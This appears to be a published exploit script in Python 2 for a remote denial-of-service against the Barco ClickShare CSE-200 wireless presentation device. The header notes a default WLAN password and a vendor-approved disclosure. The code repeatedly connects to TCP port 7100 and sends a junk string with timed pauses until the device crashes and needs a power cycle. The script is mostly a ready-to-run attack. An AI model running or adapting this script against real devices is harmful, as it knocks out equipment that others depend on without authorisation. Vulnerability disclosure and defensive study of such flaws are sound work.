#!/usr/bin/python # Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service # Date: 11-04-2018 # Hardware Link: https://www.barco.com/de/product/clickshare-cse-200 # Exploit Author: Florian Hauser # Contact: florian DOT g DOT hauser AT gmail DOT com # CVE: requested by Barco # Category: Hardware # Disclaimer: # This or previous programs is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Florian Hauser is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Florian Hauser's # responsibility. # # Use them at your own risk! ################ # Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'): # Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <- # not only disconnects all clients but also results in a crash of this hardware device # Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018. # I got permission from Barco to disclose this vulnerability. # This affects potentially all other ClickShare products, Barco confirms import socket import sys from time import sleep if len(sys.argv) != 2: print "Usage: exploit.py <ip>" sys.exit(0) # Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that. # 6-7 requests do the job usually for x in range(1,50): #Create a new socket each time because otherwise the service drops the socket #Same request cannot be sent several times in sequence s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Connect to vulnerable TCP port 7100 connect=s.connect((str(sys.argv[1]), 7100)) s.send('some evil string \r\n\n') print "Buffer " + str(x) + " sent...\n" result=s.recv(1024) print result s.close() #Sleep for a few seconds because otherwise the service denies a socket creation but does not crash sleep(7)